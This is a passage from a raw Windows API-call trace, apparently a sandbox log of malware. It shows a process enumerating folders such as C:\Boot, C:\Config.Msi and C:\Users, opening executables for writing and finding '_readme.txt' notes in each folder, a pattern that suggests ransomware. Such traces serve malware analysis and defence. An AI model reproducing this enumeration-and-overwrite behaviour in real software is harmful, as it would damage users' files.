returned 0x30e5ba8 [0059.487] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.488] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b63f50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b63f50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0059.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x16c) returned 0x306e0f0 [0059.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54c8 [0059.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e51d0 [0059.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5608 [0059.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e53d8 [0059.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5860 [0059.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e52e8 | out: hHeap=0x670000) returned 1 [0059.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5180 | out: hHeap=0x670000) returned 1 [0059.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5c20 | out: hHeap=0x670000) returned 1 [0059.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e52c0 | out: hHeap=0x670000) returned 1 [0059.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b80 | out: hHeap=0x670000) returned 1 [0059.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56f8 | out: hHeap=0x670000) returned 1 [0059.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b30 | out: hHeap=0x670000) returned 1 [0059.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ba8 | out: hHeap=0x670000) returned 1 [0059.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ffd28 | out: hHeap=0x670000) returned 1 [0059.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ba8 [0059.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.488] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.488] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0059.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b30 [0059.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.489] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0059.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56f8 [0059.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.489] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0059.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b80 [0059.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.489] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0059.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4828 [0059.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.489] PathFindExtensionW (pszPath="C:\\Boot\\memtest.exe") returned=".exe" [0059.489] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.489] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4828 | out: hHeap=0x670000) returned 1 [0059.489] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0059.489] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0059.489] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0059.490] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c22630, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c22630, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0059.490] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c48790, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c48790, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0059.490] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0059.490] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0059.490] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0059.490] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0059.490] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0059.490] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0059.490] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a0d2f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a0d2f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a0d2f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.490] PathFindExtensionW (pszPath="C:\\Boot\\_readme.txt") returned=".txt" [0059.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4828 | out: hHeap=0x670000) returned 1 [0059.490] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a0d2f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a0d2f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a0d2f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.490] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.490] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5518 | out: hHeap=0x670000) returned 1 [0059.490] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.490] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.490] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0059.490] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.490] PathFindFileNameW (pszPath="") returned="" [0059.491] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.491] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.491] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.491] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.491] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b80 | out: hHeap=0x670000) returned 1 [0059.491] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.491] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59f0 | out: hHeap=0x670000) returned 1 [0059.491] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0059.491] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0059.491] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.491] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x13a33450, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a33450, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.492] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59f0 | out: hHeap=0x670000) returned 1 [0059.492] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x13a33450, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a33450, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.492] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a33450, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a33450, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a33450, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.492] PathFindExtensionW (pszPath="C:\\Config.Msi\\_readme.txt") returned=".txt" [0059.492] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.492] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a33450, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a33450, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a33450, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.492] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.492] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.492] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.492] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5518 | out: hHeap=0x670000) returned 1 [0059.492] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.492] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.492] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.492] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.492] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.492] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.492] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.492] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.492] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.493] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.493] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.493] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.493] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.493] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.493] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.493] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.493] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.493] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.493] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.493] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.493] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.493] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.493] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.493] PathFindFileNameW (pszPath="") returned="" [0059.493] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.494] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.494] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.494] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.494] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59f0 | out: hHeap=0x670000) returned 1 [0059.494] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.494] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b80 | out: hHeap=0x670000) returned 1 [0059.494] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.494] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5b80 | out: hHeap=0x670000) returned 1 [0059.494] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.494] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, 